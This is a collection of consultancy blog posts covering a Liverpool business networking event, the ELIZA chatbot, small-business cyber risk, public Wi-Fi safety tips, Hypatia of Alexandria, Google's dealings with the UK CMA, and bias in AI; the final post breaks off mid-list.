• The Verge: Microsoft refuses to loosen Windows 11 hardware requirements

• InfoTechLead: Windows 11 rollout heightens e-waste concerns

• Medium: The Troubling Problem of E-Waste

• The Cool Down: Reddit user slams Microsoft over Windows 11 e-waste

• Reddit /r/righttorepair: Windows 11 & end of Windows 10 support will create e-waste

• UN & Global E-Waste Monitor data: sources from ITU, UNEP, UNITAR .

• Laptop longevity studies:

Think Global, Impact Local

Sun, 07 Sep 2025 19:22:49 GMT

Liverpool Chamber #wellconnected and BITA Networking Lunch

Think Global, Impact Local

Daniel and Sharon from Taylored Solutions, travelled from the Isle of Man to Liverpool on the boat, enjoying a lovely evening on Castle Street, before attending Liverpool Chamber’s Well Connected and the BITA gathering at Anfield the next day, Friday September 5, 2025. Both events were at Liverpool Football Club. Home of the Champions, not sure, but this may have been mentioned during some of the speeches ��

Think Global, Impact Local was the The Chamber’s Well Connected theme. Global trends, supply chains, and challenges such as our climate impact, carbon footprint and sustainability that impact the local community. Ensuring our business actions have positive impacts.

Networking before the formal talks brought a meaningful conversation with Crisis UK , the homelessness charity working to break down misconceptions and show businesses how they can help tackle the root causes of homelessness.

We often stop and talk with people on Old Hall Street, and Sharon shared how we are frequently asked for change. The reality is, like many people, we haven’t carried cash for years, everything is now on card. On the walk back along Castle Street, Sharon had the idea of a central donation point: a card machine where you could simply tap to donate, with the reassurance that funds were going directly to legitimate support services. She was pleased to hear they are working on a QR code project that will do just this type of thing within the city centre.

We also often stop to purchase food items for people. Change happens through education and through organisations stepping up to engage meaningfully with the communities around them.

We also heard from:

• Steph from LTSB , on how businesses can embed social value. Their work preparing young people from disadvantaged backgrounds into employment not always readily available to them.

• Rishi from LFC , who spoke about sustainability at Liverpool Football Club. His role covers the “bins” , in reality his role extends to overseeing the club’s global footprint and its sustainability responsibilities as a growing international brand.

• Elena Head of International Trade from Liverpool Chamber , on global trading and how sustainability plays a in connecting business to local impact.

• Graham from RSM , on creating opportunities for young people and supporting the work from LTSB

We also heard from: Dan from LFC may or may not have mentioned that we were in the home of the champions , how they are updating the packages within LFC and some great new things coming up. Mark from ComCabs spoke about how transport accessibility supports community and business growth.

Following a walk from the Beautiful Game lounge across the landing to The Chemisty Lounge to join the BITA lunch.

BITA: supporting the BITA community and the businesses within it.

The BITA event shifted the focus towards supporting businesses within the community and planning for the economic challenges ahead, particularly austerity, which it seems we are heading towards faster than we would hope. Conversations centred on preparation, resilience, and practical strategies to thrive in uncertain times.

Paul , who was guest speaker at the BITA members event, talked about the Night Time Economy and the launch of the Hopsy UK safety app . Liverpool holds a record long-standing Purple Flag status , recognising excellence in managing the night time economy, and the goal is now to establish the first Purple Flag “region” across the North West.

This is a national award for towns and cities in the UK and Ireland that excel in managing their evening and night-time economy (ENTE).
It signifies a safe, vibrant, appealing, and well-managed destination that offers a positive and diverse experience for visitors and residents.
To achieve Purple Flag status, areas must meet a comprehensive set of standards for safety, management, and entertainment

Paul spoke about practical safety measures such as trauma kit or bleed control packs , training bar staff to use them, and first aid, all designed to make nights out safer, these initiatives have already paid off saving lives. Again his speech reminded us that businesses also have a responsibility to create safe, vibrant, and sustainable environments for the people and communities they serve.

Technology strategy for resilience

With austerity on the horizon, the tone of the introduction by BITA’s chair Paul was sobering yet realistic and preparation is key. This is exactly where we at Taylored Solutions can support. We help companies align technology with strategy through our fractional CTO services .

That means transforming technology from a cost-centre into a growth driver: improving efficiency, protecting the business, and ensuring resilience in a challenging economic climate. A well-defined tech strategy streamlines processes, reduces waste, and enables your business to focus on delivering value and driving profit.

Connections that matter

What stood out most across both events was the people. From charity leaders to business innovators, everyone shared a passion for using their influence and skills to make a difference. Conversations, ideas, partnerships and opportunities.

Looking ahead

The challenges ahead are alarming, from economic pressures to sustainability and social issues but if we remember we have the opportunities to act responsibly, think globally, and impact locally we can make a difference. Think WIN WIN.

Exploring Artificial Intelligence [7]

Thu, 04 Sep 2025 18:55:13 GMT

ELIZA and the Birth of the “ELIZA Effect”

How a 1960s chatbot reflects the way we respond to AI today

In January this year, news surfaced about the revival of ELIZA. For almost six decades, AI enthusiasts thought the original 420-line code for ELIZA’s DOCTOR script was lost. Written in the mid-1960s, ELIZA is known as the world’s first chatbot. On paper, ELIZA was astonishingly simple: just over 400 lines of code that rephrased users’ words back to them. Yet, the psychological effect it had on users was profound, giving rise to what became known as the ELIZA effect.

More than 60 years on, and our predecessors' response to ELIZA is reflected in the way many of us talk to today’s AIs – from ChatGPT and Gemini to Alexa and Claude to name a few.

The “ELIZA Effect” – Why We Fell for It and Still Do

ELIZA was created by computer scientist Joseph Weizenbaum at MIT. Its most famous mode, the “DOCTOR” script, mimicked a Rogerian psychotherapist. If you typed “I feel sad,” ELIZA might reply, “Why do you feel sad?” or “Tell me more about feeling sad.”

That’s it. No memory, no understanding, it’s basic pattern-matching. And yet, like we do with AI today, ELIZA was treated as if it understood them.

But something strange happened: people poured their hearts out. They knew the program wasn’t human, yet like some of us do now, they still treated ELIZA as if it understood them. Weizenbaum was startled to discover that his own secretary, who had watched him write the program, once asked him to leave the room so she could have a private conversation with ELIZA.

This became known as the ELIZA effect – our human tendency to attribute deeper meaning, empathy, or intelligence to machines, even when the reality is much simpler.

You could say it’s just one step further than naming your car.

Why ELIZA Worked So Well

Several psychological dynamics explain why ELIZA resonated so strongly with people. Here are some of the key factors:

• Anthropomorphism – our tendency to see human qualities in non-human entities (like seeing faces in the moon, naming your car, or even giving your ChatGPT agent a nickname like “Tarquin”)

• The Illusion of Understanding – rephrasing words back created the feeling of being understood, empathy and comprehension.

• A Safe Space – ELIZA never judged, interrupted, or criticised, which encouraged openness.

• Projection – users projected their own emotions and expectations onto the program.

• Authority Bias – the “DOCTOR” script framed ELIZA as an expert figure, increasing trust.

• Novelty Effect – in the 1960s, even basic machine conversation felt extraordinary, possibly intensifying its impact.

ELIZA’s Forgotten Conversations: Why No Memory Made It More Human

Chatbot ELIZA’s inability to remember became its greatest psychological feature.

Today AI assistants or agents remember your preferences, track your conversation history, and build profiles of your interests, and you can manually program them with your preferences. ELIZA’s approach was different: everything was forgotten immediately.

Each interaction with ELIZA existed in isolation. Type “My mother was in hospital last week” and ELIZA might respond with “Tell me more about your mother.” But ask about your mother again five minutes later, and ELIZA would treat it as entirely new information. No memory, no context, no accumulated understanding.

This was exactly how the system was designed.

The Blank Slate Effect

Each conversation began fresh. Every response was generated from the immediate input, processed through the same pattern-matching rules. In a strange way making ELIZA more reliably “present” in the now than a human might be.

Users often reported feeling like ELIZA was giving them its complete, undivided attention.

What We Have Lost and Gained

Today’s AI systems can maintain context across conversations, remember your preferences, and build on previous discussions. This enables more sophisticated and personalised interactions, but it also introduces new psychological dynamics.

When an AI remembers your birthday or asks about a project you mentioned last week, it can feel caring, or it can feel performative and calculated. The memory becomes part of the relationship, for better or worse.

ELIZA’s approach was simpler: no memory meant no expectations, no accumulated memory baggage, and no sense that the system was trying to manipulate you through selective remembrance.

Some of the Key Psychological Factors Behind ELIZA’s Impact

Several psychological dynamics explain why ELIZA resonated so strongly with people:

• Anthropomorphism – our tendency to see human qualities in non-human entities.

• The Illusion of Understanding – rephrasing words back created the feeling of empathy and comprehension.

• A Safe Space – ELIZA never judged, interrupted, or criticised, which encouraged openness.

• Projection – users projected their own emotions and expectations onto the program.

• Authority Bias – the “DOCTOR” script framed ELIZA as an expert figure, which increased trust.

• Novelty Effect – in the 1960s, even basic machine conversation felt extraordinary, intensifying its impact.

Did the Name “ELIZA” Make a Difference?

Yes. Weizenbaum named it after Eliza Doolittle, the flower seller in George Bernard Shaw’s Pygmalion, who is taught to “speak like a lady.” Just as Eliza Doolittle learned to mimic aristocratic speech, the program mimicked human conversation.

By giving it a human name, Weizenbaum primed users to interact with the program as a personified entity rather than a cold piece of code and amplified the ELIZA effect.

From ELIZA to ChatGPT: What’s in a Name?

Naming in AI has shifted, while some companies continue to use human-like or companion-style names to help build familiarity and warmth, technical names, on the other hand, emphasise that the system is a tool rather than a person.

Human-like / Companion-style names:

• Claude (Anthropic’s AI model)

• Alexa (Amazon)

• Siri (Apple)

• Cortana (Microsoft)

• Amelia (customer service AI)

• Sophia (the humanoid robot)

Technical or abstract names:

• ChatGPT (OpenAI)

• Gemini (Google)

• Grok (xAI)

• DeepSeek

Why the divide? Today’s AI companies are careful. Human names make a system feel approachable, but they also raise risks – especially if people are using a chatbot as a doctor, therapist, or lawyer. Technical names, on the other hand, should more emphasise the tool.

It’s a subtle way of managing expectations while still keeping a brand identity.

What’s New with ELIZA Today?

Thanks to a team of “software archaeologists,” in late 2024 the original ELIZA has been fully restored and resurrected from Joseph Weizenbaum’s archived 60-year-old code and brought back to life on an IBM 7094 emulator. ELIZA is available for you to try yourself.

• About 96% of the code remains authentic to the 1960s version.

• A hidden “teaching mode” was discovered, allowing users to define new rules interactively.

• ELIZA still has its quirks (crashing when numbers are entered) faithfully preserved.

• Best of all, the restored ELIZA is now open source, meaning anyone can run it themselves and experience what the world’s first chatbot felt like.

Why ELIZA’s Shadow Still Exists

Even though today’s AI models are vastly more sophisticated than ELIZA, the psychological patterns remain the same. People still confess things to chatbots they wouldn’t share with friends or family. We still name our agents, project empathy, understanding, even consciousness onto programs that are, at the core, lines of code.

The ELIZA effect taught us that humans are the biggest part of the story of AI.

ELIZA shows that even the simplest program could spark deep emotional reactions. As AI becomes more advanced, recognising the pull of the ELIZA effect is essential to remember, this isn’t to downplay the capabilities of AI, but a reminder that much of the “magic” comes from the human mind not the machine.

Weekend Cyber Attacks Can Ruin Your Monday

Mon, 01 Sep 2025 11:31:47 GMT

Monday’s aren’t generally the best days but a weekend cyber attack Monday?

That is a different Monday altogether.

Cyber risks don’t take weekends off. But with the right preparation, you can .

For perspective, every single minute worldwide:

• 34,740 password attacks are attempted

• 60,882 email threats are intercepted

• 48,706 brute-force attempts are blocked

• 18,265 malware threats are stopped

Even in a single minute, the scale of attacks is staggering, and that’s before considering it on;y takes one to succeed.

Small Businesses Are Disproportionately in the Firing Line

Reports say “43% of attacks target small businesses” , that usually means organisations with fewer than 500 staff . In the UK, a “small” business is formally defined as under 50 employees and less than £10.2m turnover , but most cybersecurity research lumps small and medium enterprises together.

These businesses are attractive targets because:

• Perceived as easier targets – smaller budgets, fewer cyber specialists in the business.

• Supply chain value – criminals compromise SMBs to reach larger partners.

• Human error – less training, making phishing more effective.

And blocked attempts, like those reported by Microsoft, don’t tell the whole story. Even one successful attack can be catastrophic, costing an SMB anywhere from £100k to over £1m in ransom, downtime, and recovery.

Small and Medium Business stats for 2025:

• 43% of cyberattacks target small and medium businesses.

• 60% of SMBs close within 6 months after a major cyberattack (U.S. National Cyber Security Alliance).

• 82% of ransomware attacks hit organisations with fewer than 1,000 employees (Coveware).

• Average cost to recover from serious ransomware: £120k - £1m (UK, Hiscox Cyber Readiness Report).

• Phishing remains the #1 breach vector - over 90% of SMB breaches start with phishing emails.

Monday morning . You walk into the office, coffee in hand, ready to pick up where you left off on Friday. Your inbox is full but manageable. The week looks busy, but you’ve got this.

Here’s a different Monday, that somebody will be experiencing.

You try to log in but nothing works. Emails won’t load. Files are encrypted. Clients are calling because something strange just came from your account. Your team can’t access the system they need. Projects grind to a halt before the week even begins.

That second version? Is what happens when someone reaches your data over the weekend.

There’s so much to do already

You’ve already got enough on your plate. Managing staff, keeping clients happy, juggling deadlines, tech strategy and cyber security feels like just more burdens. That’s understandable.

The good news? You don’t have to do everything all at once. You just need to make one move that tips the balance in your favour.

• Check your backups.

• Review your incident response plan.

• Ask your IT team one simple question: “If we were hit on Friday, would we be back online by Monday?”

Preparation is the difference

The businesses that survive cyber incidents aren’t the ones that avoid every attack. They’re the ones that prepared for the “what if” and have proactive steps in place.

As you head into your week, ask yourself: which Monday would you rather have? The calm, coffee-in-hand start… or the chaos of a breach discovered too late?

The choice is yours.

�� mail@tayloredsolutions.im

�� www.tayloredsolutions.im

#CyberSecurity #CyberResilience #RiskManagement #BusinessContinuity #TayloredSolutions

Exploring Artificial Intellienge [6]

Thu, 07 Aug 2025 20:28:35 GMT

The Illusion of Intelligence

Artificial Intelligence . The name is misleading. Conjuring images of sentient machines, conscious robots, and futuristic systems capable of deep reasoning. The truth is: today’s AI isn’t truly intelligent. Not in the way many people think.

In this chapter of our Exploring AI series, we’re peeling back some of the layers of the onion (thanks to Dr Colin Moughtin for that metaphor) to explore what AI really is, and just as importantly, what it isn’t.

It’s Not Thinking. It’s Predicting.

AI doesn’t understand the world. It doesn’t think, reason, or form opinions, despite what the interface tells you while you wait for its response.

What it does do is pattern match and make predictions based on the data it’s been trained on.

Large Language Models (like the one I use for researching blogs, topics, references and helps with phrases that sometimes I just can’t make make sense) work by predicting the next most likely word or phrase using vast amounts of training data. That’s it. No comprehension, no consciousness. Just extremely fast and sophisticated guesswork.

To put it simply, it’s not “thinking outside the box.” It’s not even aware if said box exists.

Why It Feels Smart

The illusion of intelligence comes from mimicry. From how convincingly AI systems mirror human communication and conversation. AI can write essays, brainstorm ideas, even tell half decent jokes. It responds in a human tone almost as if you were talking to another person through a chat room.

( Remember those? Now you’ve got a rough idea of my age .)

AI also communicates verbally, you can give them a voice, an image, even assign them a personality to shape how they respond, making interactions feel more human than ever, this is it's mimicry rather than understanding.

Advanced simulation over sentience.

It reflects how well they’ve been trained on human-generated content, rather than it actual understanding.

In truth, today’s AI is advanced autocomplete. Middle-word suggestion on your smartphone taken to a whole new level. When they appear to give thoughtful answers or insights, they’re sewing fragments of previously seen text in a way that seems coherent.

This may read dismissive of the usefulness of AI, this is not the case. AI is a game changer and is something I use on a daily basis. It's limitations need to be understood and never forget the importance of Human Oversight or Human First approach.

Where This Misconception Becomes Risky

The danger comes from mistaking prediction for intelligence:

Trust AI too much
Fail to fact-check its outputs
Expecting it to make moral or human-centred decisions

Assuming AI understands nuance, context, or emotion and you are setting yourself (or your business) up for disappointment or problems.

Worse still, if you are using AI to generate content, write code, or respond to customers without oversight, you risk:

Spreading misinformation
Violating compliance
Damaging your reputation

So, How is it a game changer?

Here's what AI is good at while used with humans firmly in control AI can:

Speed up repetitive tasks, humans would possibly find boring and mundane

Generate ideas for humans to refine
Analyse large datasets and identify patterns
Support decision-making (without replacing it)
Summarise long documents or meeting notes
Translate content
Draft customer emails, blogs, or social posts
Improve spelling, grammar, and tone
Assist with deep research, identifying themes, comparing sources, and helping you find relevant information faster
Help with market research and trend analysis
Create first drafts of policies, plans, or proposals
Generate alt text or accessibility content
Provide basic image or video generation (with oversight)

Think of it like this. AI is an assistant — a really efficient one, impressively capable, but even at that level of competence, it still needs oversight. It’s a powerful tool, but it’s not wise, and it’s certainly not flawless. It doesn’t “know” anything. It generates output based on probability, not understanding.

That’s why critical human thinking is still essential. We should use AI with awareness. Respect its power, but understand its limits.

Believe it’s magic, and you risk disillusionment. Understand it’s a tool, and you unlock real value — safely and strategically.

Whether you’re lifting the bonnet or pulling back the curtain, what you’ll find with AI is less mystery, more mechanics.

So is AI intelligent or just really smart?

Women in STEM - Hypatia

Fri, 04 Jul 2025 17:03:13 GMT

The First Women of Mathematics, Philosophy and Astronomy

When we think of Women in STEM, we often think of the modern pioneers: Ada Lovelace, Grace Hopper, Marie Curie. But long before the rise of modern science, and even before Hypatia of Alexandria, there was Pandrosion, lesser-known but a historically significant woman who taught mathematics in Alexandria during the 4th century CE, a generation before Hypatia, it is suggested.

In this instalment of our Women in STEM series, we’re turning the clock back over 1,600 years to explore the life, legacy, and remarkable mind of Hypatia of Alexandria , a mathematician, astronomer, philosopher, and teacher whose impact echoes through time. Hypatia lived in Alexandria, Egypt , during the 4th and early 5th century CE .

A Personal Discovery

We recently came across Hypatia’s story while browsing books in a local bookstore. Our son who is 9, picked up a book on Women in STEM , filled with profiles of remarkable women throughout history. He has added this to his to buy list. As we flipped through some of the pages, we found a chronological list of trailblazing women, and Hypatia featured.

It sparked chatter between us about how far back women’s contributions to science really go. He’s always keen to help me with research for this series, which makes this blog all the more special.

Who Was Hypatia?

Hypatia was a mathematician, astronomer, philosopher, and teacher during a time of great cultural and religious transformation. She is widely considered to be the first known and well documented female mathematician in recorded history. Born around 360 CE, she was the daughter of Theon of Alexandria , a respected scholar and mathematician who ensured his daughter received a full education, this was remarkably rare for women of the time.

Unlike most women of her era, who were expected to remain in domestic life, it is said that Hypatia attended the great Alexandrian Museum with her father a renowned centre of learning that housed the famous Library of Alexandria. Where, she was exposed to mathematics, astronomy, philosophy, and the classical works of ancient Greek thinkers. She absorbed this knowledge, built on it, and added to it, becoming a leading intellectual figure in her own right.

She went on to teach and lead at the Neoplatonist school of philosophy in Alexandria. Her lectures attracted students from across the Mediterranean world, and she became an influential public figure, widely respected for her intellect and eloquence.

⸻

What Did Hypatia Do?

Although much of Hypatia’s original work has sadly been lost, historical references and letters from her students give us glimpses into her influence. Apart from teaching, she actively worked on preserving, clarifying, and improving the scientific and mathematical texts of the ancient world.

Collaborating with Her Father - Euclid’s Elements

Hypatia worked closely with her father Theon, and it’s believed she contributed significantly to his edition of Euclid’s Elements , this is one of the most important mathematical texts in history. Theon’s version became the standard reference for centuries, and many scholars believe that Hypatia’s influence helped refine its structure and readability , ensuring it could be studied by future generations.

Apollonius of Perga - Master of Conic Sections

She also edited and commented on the work of Apollonius of Perga , a 3rd-century BCE mathematician known for his work on conic sections - curves like ellipses, parabolas, and hyperbolas that would later become vital in astronomy and physics. Hypatia’s contributions helped preserve and disseminate this advanced geometry , bridging the gap between ancient Greek thought and the scholars of the later Islamic and European scientific traditions.

Commentary on Diophantus

Hypatia is known to have written a commentary on Arithmetica , a collection of algebraic problems by Diophantus , who is referred to as the “father of algebra” by some. While her original manuscript is lost, references to it in letters from her student Synesius show it was read and respected. By interpreting and expanding on Diophantus’ challenging work, Hypatia played a key role in advancing early algebraic thinking.

The Astrolabe - Mapping the Sky

Hypatia worked beyond ancient texts, she applied mathematical knowledge to the real world. She is credited with constructing (not inventing) and teaching the use of the astrolabe , a precision instrument used to measure the positions of stars and planets. Astrolabes became essential tools for navigation and astronomy for over a millennium. Her work with the astrolabe showed that her understanding of the cosmos was not just theoretical. She was engaging with the practical tools of astronomical observation long before the invention of the telescope.

The Hydrometer - Practical Science

Hypatia is also said to have worked with and maybe improved the hydrometer , a device still used today to measure the density or specific gravity of liquids . This simple instrument is ingenious, it has applications in everything from chemistry to brewing. Her engagement with such tools demonstrates her collaboration of pure science with practical experimentation , which gives suggests how ahead of her time she may have been.

Ptolemy’s Almagest - Preserving the Stars

It is thought that Book III of Theon’s version of Ptolemy’s Almagest may actually be Hypatia’s work. Ptolemy’s Almagest is a comprehensive treatise on astronomy that described the geocentric model of the universe, with Earth at its centre. While the theory was later revised but not until Copernicus and Galileo, Almagest remained the foundational astronomical text for over a thousand years . Theon’s commentary on the Almagest helped preserve and clarify Ptolemy’s work and Hypatia’s likely involvement in that effort underscores her influence in one of history’s most important scientific legacies.

⸻

Hypatia’s Significance Today.

Hypatia’s legacy is in more than her work, it’s in what she represented. She was a woman who rose to prominence in a male-dominated intellectual world, challenging societal norms of her time. She led a life devoted to science, logic, and philosophy, openly and with great courage.

Her story has a tragic end. In 415 CE aged 40-65, during lent, amid political and religious unrest, Hypatia was brutally murdered by a Christian mob , led by a church reader named Peter, she was accused of being a symbol of paganism and political influence. Her death marked the beginning of the end for Greek Science and a symbolic moment in the decline of classical learning in Alexandria that had flourished in the museum for some 700 years.

Centuries later, Hypatia still continues to inspire . She reminds us that women have always been part of science, mathematics, and astronomy even if their stories were silenced or forgotten.

⸻

Final Thoughts

While we’ve previously explored modern icons like Ada Lovelace, Grace Hopper, and Marie Curie, Hypatia reminds us that the foundations of science and mathematics were shaped by women long before laboratories and computers existed .

This is another one that feels extra special because we got to discover and explore Hypatia’s legacy alongside our son. We hope this post sparks curiosity toy you to look a little deeper at the women who shaped the foundations of the science and technology we rely on today.

Further Reading and References

Britannica Hypatia of Alexandria

EBSCOHost Hypatia

Maths History St Andrews Hypatia

Nat Geo Kids Hypatia

Google v UK Competition and Markets Authority (CMA)

Tue, 24 Jun 2025 19:34:55 GMT

Is how we use google about to change?

The UK's Competition and Markets Authority (CMA) is applying pressure to Google's dominance in search and advertising, the implications of this for businesses could well be profound.

Under the Digital Markets, Competition and Consumers Act 2024, Google may soon be designated with "Strategic Market Status" (SMS). If that happens, the CMA could impose new obligations designed to foster fairer digital competition.

Here’s what’s on the table:

Choice Screens – Google may need to offer users a selection of search engines (including AI-based ones like ChatGPT and Perplexity for example) instead of defaulting to its own.
Fair Ranking – Search results could become more transparent and less skewed towards Google’s own properties.
Publisher Control – More autonomy for publishers over how their content appears, particularly in AI summaries.
Data Portability – Users could have more power to move their data (like search history) across platforms (a potential game-changer for innovation.)

Google warns these rules could stifle innovation and delay new products, but the CMA argues it’s about levelling the playing field, an argument echoing across global regulators from the UK to the US.

For businesses in smaller jurisdictions like the Isle of Man, this could (hopefully ��) mean:

• Better visibility in organic search.

• More choice in digital tools.

• A shift in how content is monetised and discovered.

For the Isle of Man

As a business based in both the Isle of Man and the UK, we're watching these developments closely. While the Isle of Man isn’t directly governed by the CMA, we trade in digital markets that cross borders daily. If search results are reshaped to favour transparency and equality, hopefully Manx businesses may stand to benefit. Often Isle of Man Businesses struggle to get recognised and we have found many times we have been removed from google searches due to location alone. Fairer competition may help local companies gain visibility in UK organic searches, attract more relevant traffic, and compete on merit rather than Google ad spend, organic searches now often appear from 8th position and after an AI Overview that can dominate up to 60% of the page.

Additionally, if data portability becomes mainstream, Manx SaaS and tech firms could seize opportunities to win users looking for alternatives to Google, especially those offering clearer data control or a more tailored service.

A Balanced View on Regulation

While many of the CMA’s proposed changes are constructive, especially around visibility and data fairness, there is also a broader principle at play: the balance between regulation and market forces.

Is this regulation overdue or, are we punishing success?

In many cases, the market self-corrects. If someone is searching for a specific company, they will keep searching until they find it. But for users exploring services more generally, for example, “cybersecurity partner” or “fractional CTO” the current search environment often prioritises those who pay to be seen, not necessarily those who are best suited to help.

But that’s the deal with Google Ads: businesses pay to appear. And in many ways, that’s fair - it’s advertising. The concern is how much of what users see is now filtered:

• Paid ads dominate the top of results

• Google’s own services take priority

• AI-generated summaries often replace the need to click

• And organic content is personalised and localised, sometimes at the expense of relevance

Search results are no longer a neutral list of the best or most useful information. They’re curated, ranked, and filtered, often invisibly, by algorithms optimised for Google’s goals (this isn't as sinister as it sounds - it's a reflection on how Google runs it's business).

So the real question becomes:

Is the system rewarding quality and relevance or just budget, branding, and scale?

Search today can feel like a pay-to-play environment, where ad budgets often trump quality or value. Levelling the playing field for organic visibility could help better providers rise to the top, especially those with niche or high-value offerings that might otherwise be buried.

However, like Google says over-regulation risks dulling the innovative edge that makes platforms like Google so powerful in the first place. The goal should be to encourage competition and choice, though it also seems to be penalising success.

An Industry Perspective

So while the CMA’s intention to correct unfair advantage is valid, it may also be a case of closing the gate after the horse has bolted . If AI becomes the new front door to the internet, then the rules for search engine competition may soon feel like yesterday’s battle. It’s worth noting that this entire regulatory push may already be trailing the real disruption: the shift in user behaviour. As it’s been noted that consumers are already increasingly turning to AI tools like ChatGPT, Perplexity, or domain-specific LLMs to answer their questions, bypassing traditional search engines entirely. But is this right?

LLMs aren't search engines, they generate answers based on patterns in their training data, not real-time results from the Web. But the user shift is happening and it seems people favour the chatty response over the traditional search engine accuracy.

Could this be because now a Google search the AI Overview is the same thing and to get to the search engine results requires scrolling further down...?��

Remote Working

Wed, 18 Jun 2025 17:55:31 GMT

Staying Safe on Public Wi-Fi

10 Ways to Stay Secure on Public Wi-Fi while Remote Working

Do you regularly work on the go like us? We often work on Planes, Trains and Automobiles. Then there's boats, cafes, hotels and any outdoor space with Wi-Fi. While public Wi-Fi is convenient it can expose you to cyber threats. Hackers can exploit unsecured networks to import Malware, steal data or impersonate users.

Here are some well renowned ways to add additional security to your habits when out and about working.

Tip 1: Use a Trusted VPN (Virtual Private Network)

Encrypt your internet traffic and hide from hackers

A VPN encrypts your internet traffic, wrapping it in a secure tunnel so that others on the same network, including hackers, can’t snoop on what you're doing.

But a quick word of warning: not all VPNs are created equal. Caution should be exercised when selecting a VPN. Free or obscure providers can be just as risky as public Wi-Fi itself. Some log your activity, track your data, or even sell it on, which sort of defeats the point, doesn’t it?

Look for a VPN with a strict “no-log” policy, meaning they don’t store or track your browsing. Check trusted review sites, or speak with your IT lead or a cybersecurity specialist (they love being asked).

Millions of remote workers and digital nomads use VPNs daily; it’s one of the most effective tools we have to stop data leaks.

Don't wait until you're hacked to take action. The right VPN is like digital insurance. Once your data's been exposed, it’s too late.

So before you log into that café Wi-Fi, switch on your VPN. Your future self will thank you.

Tip 2: Enable Multi-Factor Authentication (MFA)

Double-lock your accounts with a second layer

Adding an additional layer of security to your login process is one of the simplest and most powerful things you can do. MFA means even if someone steals your password, they can’t get in without a second code; this is usually sent to your phone or generated by an app.

Turn on MFA for all your critical services - email, cloud storage, healthcare, finance.

NCSC and most major cybersecurity bodies now recommend MFA as essential, not optional.

Tip 3: Avoid Sensitive Transactions (Where Possible)

Keep private matters off shared connections

Online banking, HR systems, or anything involving personal or financial information is best done on a secure private connection.

That said, life happens.

If using a sensitive service is unavoidable:

Use the official banking app, offers extra layers of encryption, remember nothing is 100%
Avoid using your browser for banking on public networks
Switch to mobile data if possible, rather than using public Wi-Fi
Enable biometric login (e.g. Face ID or fingerprint)
Use MFA to protect access
Log out and disconnect once finished

Taking extra steps now protects your future time, money and reputation.

Sensitive information is a goldmine for hackers. Don’t hand it over while waiting for a flat white.

Tip 4: Keep Your Software Up to Date

Block attacks with timely updates.

Outdated apps or systems are a gift to cyber attackers. Your device, apps, browser and security tools regularly receive updates to fix bugs and patch known security vulnerabilities.

Before connecting to public Wi-Fi, make a new habit :

Manually check app stores for updates.
Apply system patches.
Restart your device to finish installs.

Keeping everything up to date should be a regular habit that makes you a tougher target.

Tip 5: Always Verify the Network Name

Don't fall for 'evil twin' Wi-Fi traps.

Not all Wi-Fi is what it seems. Hackers often set up fake hotspots with names similar to legitimate ones (e.g. "Cafe_FreeWiFi" vs "CafeFreeWiFi"). Once connected, they can snoop or inject malware.

These are known as “evil twin” attacks, and more common than you’d think.

Smart travellers always double-check network names with staff before connecting. A quick ask could save your data.

If no one is around to ask:

Don’t connect until you’ve verified the correct one.
Networks with no password - be wary.
Lack of Terms of Service page.

Be cautious of:

Odd spellings, capitalisation or number placement (e.g. “FreeW1F1” or “Coffee_Shop_Freee”)
Strong signal strength if you think you’re far from the venue
Sudden pop-up logins that don’t match the venue branding

If in doubt, don’t connect. Use mobile data or create a hotspot from your phone to connect. It’s more secure and often just as fast.

Tip 6: Turn Off File and Printer Sharing

Don’t give strangers a peek into your files

Handy at home or in the office. On a public network, file sharing can pose risks, opening the door to strangers poking around your folders.

It takes seconds:

Go into your device’s network settings and turn off file and printer sharing
On Windows, set the network as Public, not Private
On macOS, go to System Settings > Sharing and ensure all sharing options are turned off

Add it to your "connect safely" checklist and do it every time. Small action, big protection.

Tip 7: Disable Auto-Connect to Public Networks

Stay in control of what you connect to

Many devices are set to auto-connect to known Wi-Fi networks. That might include public ones you've used once at an airport or café.

The danger? A hacker sets up a rogue network, your device connects without you realising.

Switch off auto-connect. Make connecting to public Wi-Fi a deliberate, conscious action.

Tip 8: Enable Your Firewall

Activate your digital bodyguard

Your device's firewall helps block unauthorised access. Think of it like a bouncer checking IDs at the door.

On Mac: Settings > Network > Firewall

On Windows: Control Panel > Security > Windows Firewall

Firewalls are a first line of defence recommended by every security standard. It’s a background layer of protection that makes it harder for cyber criminals to reach your device.

Turn it on and let it do its thing.

Tip 9: Stick to HTTPS Websites

Use only encrypted websites for safe browsing.

Always check for "https://" in the address bar. That little �� means your data is encrypted in transit.

Most browsers enforce it now, but double-check on unfamiliar sites.

Tools like HTTPS Everywhere are becoming obsolete because major browsers default to HTTPS, but the check is still good practice.

Tip 10: Clear Your Browser Data Regularly

Leave no trace on public connections.

Public Wi-Fi means you might be browsing in cafés, airports, or borrowed devices. Clear history, cookies, and saved passwords afterwards.

Build it into your routine after each public session. Just like clearing out your bag after a trip.

Bonus: Use Mobile Data or a Personal Hotspot Instead of Your Encrypted Backup Plan When Wi-Fi Looks Sketchy

If in doubt, skip public Wi-Fi entirely. Your mobile data is encrypted by default and far more private.

Remote pros and cybersecurity folk use their phones as hotspots every day. It’s often faster, too.

You only get one set of credentials. Protecting them with a more secure connection is worth the extra data usage.

Even if you only start with three of these tips, you’re better protected than most. Share this with your team or fellow freelancers and stay cyber smart while you roam.

Exploring Artificial Intelligence [5]

Thu, 29 May 2025 22:00:01 GMT

Bias within AI

Bias in AI is both a technical issue and a societal mirror. Following on from my last post in the Exploring AI series , where I shared my own thoughts, questions, and what I’d been learning, this article goes deeper into one of the most urgent challenges in today’s AI sphere.

As AI systems increasingly influence what shapes our lives today, from job hiring to healthcare, it raises difficult questions: Who benefits? Who gets left behind? And how do we build systems that reflect the values we want, not the inequalities we inherit?

This blog doesn’t pretend to provide definitive answers. Instead, it offers real-world examples, expert insights, and diverse perspectives to help navigate the complexity of bias in AI and to encourage thoughtful reflection and conversation that will help you make your own conclusions.

The Main Concerns

A central focus that emerges: If we attempt to filter out bias entirely, do we create fairer AI systems, or do we risk losing valuable context about how human values and morals have evolved, so they can continue to evolve?

Societal norms have shifted dramatically in recent generations. Attitudes once considered mainstream are now seen as harmful; previously marginalised values are now celebrated. This raises a fundamental question for AI development: Should we program AI to reflect today’s standards, or should we give it the context to understand how and why those standards changed?

Understanding Bias in AI

AI itself isn’t biased—it learns from data that often is. Bias stems from the information AI is trained on, not from the learning machine itself.

Bias in the context of AI refers to a systematic skew in outputs resulting in unfair treatment of individuals or groups. This can come from:

Training data: Historical datasets may reflect past inequalities, discriminatory language, or underrepresentation of certain groups.
Algorithmic design: The way models are built can unintentionally reinforce certain preferences or exclude edge cases.
